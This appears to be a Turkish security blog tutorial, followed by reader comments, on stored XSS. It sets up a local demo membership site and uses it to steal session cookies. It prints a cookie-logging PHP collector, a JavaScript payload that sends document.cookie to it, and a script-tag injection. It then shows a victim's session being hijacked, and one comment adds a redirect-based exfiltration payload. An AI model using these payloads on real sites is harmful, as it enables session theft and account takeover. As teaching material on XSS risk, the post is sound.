Merhabalar, bu yazıda yine internette pek kaynağı bulunmayan bir konuya değineceğim. Xss’in aslında alert’ten ibaret olmadığının, sebep olabileceği ciddi saldırı senaryolarından ufak birtanesini anlatacağım.
Bu konuyu anlatmadan önce nette biraz araştırdım. Neredeyse hiç anlatan yok. Birkaç yerde var; onlarda genelde mantığından ziyade tool üzerinden anlatmışlar. E bizimde toollar karşısındaki tavrımız belli; “tool’un kullanımı öğretmeyin mantığını öğretin. tool’un kullanımı zaten manuel’den öğrenilebiliyor.” (kısacası RTFM manifestosu). O yüzden bu yazıda mantık anlaşılsın diye mantık üzerinde duracaz ve giriş niteliğinde bir uygulama yapacağız. Bu uygulamayı geliştirmek size kalmış…
Şimdi; senaryomuz şu şekil. Üyelik sistemi olan basit bi sistemimiz var. Bir kişi üye olabiliyor, giriş yapabiliyor ve diğer üyeleri görebiliyor. Bir nevi küçük çapta bir sosyal proje. Sistemi yazan yazılımcı; gerekli önlemleri almadığından saldırgan istediği herhangi bir zararlı payload’ı veritabanına kaydedebiliyor. Örneğin isim olarak “omer” yerine “<b>omer</b>” yazarsa üyelerin listelendiği sayfada tüm üyeler normal şekilde yazılırken bu arkadan kalın şekilde ekrana yazılmış olacak. Bizde buradan anlamış olacağız ki inputlar’a herhangi bir xss filtresi konulmamış ve ne gönderirsek alıyor. Bundan sonra kalın harfler ile ismimizi yazmak yerine zararlı JavaScript kodu ile diğer kullanıcıların oturumlarını çalacağız.
Aşağıdaki resimde gördüğünüz üzere öncelikle veritabanımıza default olarak omercitak ve mustafayilmaz adında 2 kullanıcı ekledim. Bu hesapların parolaları 123456. Zaten password kolonundan 123456’nın md5 hashini görebilirsiniz.
Sistem üzerinden omercitak olarak giriş yapıp kullanıcıları listeleme sayfasının ekran görüntüsü ise aşağıdaki gibi.
Şimdi ise yeni bir kullanıcı kaydı yaparken 3. paragrafta bahsettiğimiz gibi ismini HTML “b” taglerinin arasına alalım bakalım kullanıcılar sayfasındaki ekran görüntüsü nasıl bir hal alacak.
Yukarıdaki resimlerde gördünüz üzere son eklediğimiz kayıt önceki kayıtların yanında kalın bir şekilde yazılmış. Buradan anlıyoruz ki yazılımcı inputlara gerekli filtreleri uygulamamış. Bunun sağlamasını yine yukarıda MySQL kayıtlarında görebilirsiniz. Sistem girdiyi doğrudan MySQL’e kaydetmiş.
Buraya kadar sistemimize zararlı kod geçirip geçiremeyeceğimizin sağlamasını yaptık ve geçirebileceğimizi anladık. Şimdi ise gelelim diğer kullanıcıların oturumlarını çalmaya. Öncelikle bu işlemler için 3 dosyaya ihtiyacım olacak;
- victims.txt; Oturumlarını çaldığımız kullanıcıların oturumlarını kaydedeceğimiz dosya.
- snif.php; Dinler vaziyette beklerken kendine gelen oturumları victims.txt’ye kaydededen PHP scripti.
- bad.js; snif.php dosyasın victims.txt’ye kaydedeceği oturumları sistemden çalıp; snif.php’ye gönderen JacaScript scriptin olduğu dosya.
Snif.php
<?php if(isset($_GET["cookie"])){ $file = fopen('victims.txt', 'a'); fwrite($file, $_GET["cookie"]."\n"); fclose($file); }
Kaynak : https://github.com/Om3rCitak/ab16WebUygulamaGuvenligi/blob/master/hack/snif.php
snif.php’nin içeriği yukarıdaki 5 satır koddan oluşuyor. Yaptığı tek işlem eğer GET metodu ile “cookie” adında bir değer gelirse bu değeri al victims.txt’ye kaydet.
bad.js
var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", 'https://127.0.0.1/demo_xss_sql/hack/snif.php?cookie='+document.cookie); xmlHttp.send(null);
Kaynak : https://github.com/Om3rCitak/ab16WebUygulamaGuvenligi/blob/master/hack/bad.js
baf.js ise yukarıdaki 3 satır koddan oluşmakta. Bu 3 satırlık JavaScript kodu; bu kodu çalıştıran kişinin bilgisayarındaki oturum bilgilerini (cookie) “document.cookie” ile alıp; JavaScriptin “xmlHttp” class’ını kullanarak 2. satırda yazdığımız snif.php mizin olduğu adrese gönderiyor. snif.php ise kendine gelen cookie’yi victims.txt‘ye kaydediyor.
Buraya kadar tamam; saldırıyı nasıl yapacağımızıda anlattık. Hadi saldıralım.
Saldırmadan önce dipnot geçeyim; birazdan yapacağım işlemlerde saldırgan olarak 2 hesap açacağım. 1. hesap “heykir” adında sadece sisteme giriş yapabilmek için kullanacağım hesap; 2. hesap ise zararlı kodumu gömeceğim hesap. “heykir” hesabını hem Firefox‘ta açacağım. Chrome‘dan ise sanki bir kurbanmışım gibi sistemdeki herhangi bir hesaptan girip yapıp; giriş yaptığım hesabının cookie’sinin nasıl saldırganın eline geçtiğini ve saldırganın bu cookie’yi alıp nasıl kullanacağını göstereceğim.
Öncekile aşağıdaki görseldeki gibi önce “heykir” hesabını sonrasında zararlı kodumun olduğu hesabı oluşturayım.
Yukarıdaki kullandığımız zararlı kod aslında çoğunuzun aşina olduğu masum bir JavaScript dosyası çağırma tag’i.
<script src="https://127.0.0.1/demo_xss_sql/hack/bad.js"></script>
Şimdi ise Chrome üzerinden herhangi bir kullanıcı (mustafayilmaz) adına giriş yapıyorum ve üyeler sayfasını görüntülüyorum. Ardından mustafayilmaz‘in oturum bilgilerinin nasılda uçtuğunu hep beraber izliyoruz.
Vee bum! Şimdi ise saldırgan olarak mustafayilmaz‘dan çaldığımız oturum bilgilerini Firefox’un “Cookie Menager” eklentisi ile kendi cookie’miz yerin yapıştıralım ve sonucu görelim.
Yukarıdaki resimlerde gördüğünüz üzere çaldığımız cookie’yi kendi cookie’mizin yerine yazıp kaydettim ve sayfayı yeniledim. Sonuç ortada; mustafayilmaz adına giriş yapmışız gibi gözüküyor 🙂
Peki XSS’e nasıl önlem alırız?
Bu konuyu burada yazıp yazıyı daha fazla uzatmak istemiyorum. Zira internete bu konu hakkında istemediğiniz kadar bol kaynak bulunmakta. Bu yazıyı XSS’in sadece alert’ten ibaret olmadığını göstermek için yazdım. Umarım faydalı olmuştur.
Merak edenler için Akademik Bilişim’de yaptığım sunumun 15, 16, 17, 18 ve 19. sayfalarında XSS’ten nasıl korunabileceğinize biraz değinmiştim. Sunumunun ve yukarıdaki sistemin linkerlini aşağıda veriyorum. Yorumlarınızı esirgemeyin…
Sunum : https://www.slideshare.net/Om3rCitak/web-uygulama-gvenlii-akademik-biliim-2016-57851287
Kullanılan Sistem ve Kodları : https://github.com/Om3rCitak/ab16WebUygulamaGuvenligi
Log göndermek için xhr kullanamazsın javascript ile crossdomain requeste sop izin vermez localde çalıştığın için gözünden kaçmış olabilir;) xss demosunu sitene yükle loguda başka bir domaine kur anlarsın javascriptle sadece same domain request atabilirsin illaki crossdomain lazım gelirse de cors kullanırsın. Bu yüzden xss ile bilgi sızdırmanın en sağlıklı yolu request atabilen topsecret css kodları ve tabiki html img iframe vs.vs.
Allaha emanet!
düzeltmeler ve eklemeler için teşekkürler nec 🙂
Kaç dakikadır neden olmuyor diyorum 🙂 teşekkürler
wp’de açığı eklentiylemi kendinmi kapadın ben uraşmak istemiyom
Nec. baba?
Güzel anlatım olmuş faat anlamadığım nokta var kendi sitemizden mi cookie çalıyoruz burda yoksa başka sitedenmi
ben başka siteden istiyorum
peki httponly bypass , tünelleme üzerine yazmayı düşünüyor musun? artık bir çok developer httponly tercih ediyor.
bad.js yazıcana baf.js yazmışısın dikkat et…
merhabalar kafama takılan soru şu bu xss açığı ile browser daki tüm cookie leri mi çekiyor yoksa sadece açıklı sitenin mi? bide nasıl browserdaki tüm cookie leri nasıl çekeriz?
beef iş görürmü
Sadece XSS zafiyetinin etkilendigi domain’in biraktigi cookilere erisebilirsin. Diger domainlerin biraktigi cookilere erisemezsin. Sebebi ise Same Origin Policy. SOP hakkinda detaylara bu yazidan ulasabilirsin: https://www.netsparker.com.tr/blog/web-guvenligi/same-origin-policy/
merhabalar kafama takılan soru şu bu xss açığı ile browser daki tüm cookie leri mi çekiyor yoksa sadece açıklı sitenin mi? bide nasıl browserdaki tüm cookie leri nasıl çekeriz?
beef iş görürmü
teşekkürler yine çok iyi bir yazı
Hocam biraz araştırdım yukarıdaki arkadaşın da yorumundan faydalanarak doğru payloadı oluşturdum ve çalıştırdım, sıkıntısız görevini icra ediyor sizlerle paylaşmak isterim.
window.location.href= “https://127.0.0.1/demo_xss_sql/hack/snif.php?cookie=” + document.cookie